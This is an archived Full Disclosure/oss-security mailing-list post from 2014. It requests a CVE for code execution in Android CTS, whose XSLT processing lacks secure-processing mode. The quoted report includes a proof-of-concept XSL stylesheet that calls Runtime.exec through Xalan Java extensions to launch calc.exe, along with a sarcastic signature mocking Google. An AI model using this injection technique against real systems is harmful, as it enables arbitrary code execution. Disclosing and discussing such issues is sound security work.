lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]
Date: Mon, 20 Oct 2014 08:29:16 +1000
From: Lord Tuskington <l.tuskington@...il.com>
To: Full Disclosure List <fulldisclosure@...lists.org>,
	oss-security@...ts.openwall.com
Subject: Re: [FD] CVE request: remote code execution in Android CTS

I disagree with Nick Kralevich's response. An attacker who has the ability
to locally modify an XSL file should not be able to leverage this to
achieve code execution. This crosses a trust boundary.

As for why I didn't report this to security@...roid.com, when Google starts
paying corporate tax instead of dodging it, I will report issues privately.

Lord Tuskington
Chief Financial Taxdodger
Google

On Sun, Oct 19, 2014 at 7:28 PM, Lord Tuskington <l.tuskington@...il.com>
wrote:

> CTS parses api-coverage.xsl without providing the
> FEATURE_SECURE_PROCESSING option. See lines 60-67 of
> cts/tools/cts-api-coverage/src/com/android/cts/apicoverage/HtmlReport.java:
>
> InputStream xsl =
> CtsApiCoverage.class.getResourceAsStream("/api-coverage.xsl");
> StreamSource xslSource = new StreamSource(xsl);
> TransformerFactory factory = TransformerFactory.newInstance();
> Transformer transformer = factory.newTransformer(xslSource);
>
> StreamSource xmlSource = new StreamSource(xmlIn);
> StreamResult result = new StreamResult(out);
> transformer.transform(xmlSource, result);
>
> An attacker who is able to control api-coverage.xsl could inject arbitrary
> code into it, which would be executed. For example:
>
> <xsl:stylesheet version="1.0"
> xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
> xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime"
> xmlns:str="http://xml.apache.org/xalan/java/java.lang.String"
> >
> <xsl:output method="text"/>
>     <xsl:template match="/">
>        <xsl:variable name="Command"><![CDATA[calc.exe]]></xsl:variable>
>        <xsl:variable name="RT" select="rt:getRuntime()"/>
>        <xsl:variable name="proc" select="rt:exec($RT, $Command)"/>
>        <xsl:text>Process: </xsl:text><xsl:value-of select="$proc"/>
>     </xsl:template>
> </xsl:stylesheet>
>
> Would pop a calc. This crosses a trust boundary because an attacker could
> provide an XSL stylesheet that, for example, has enhanced visual layout. A
> person consuming that stylesheet would assume it could not possibly contain
> arbitrary code that would be executed, as it's just a stylesheet. The XSL
> extensions to execute code should be disabled by passing
> FEATURE_SECURE_PROCESSING.
>
> Regards
>
> Lord Tuskington
>
> Chief Financial Pinniped
>
> TuskCorp
>

_______________________________________________
Sent through the Full Disclosure mailing list
http://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ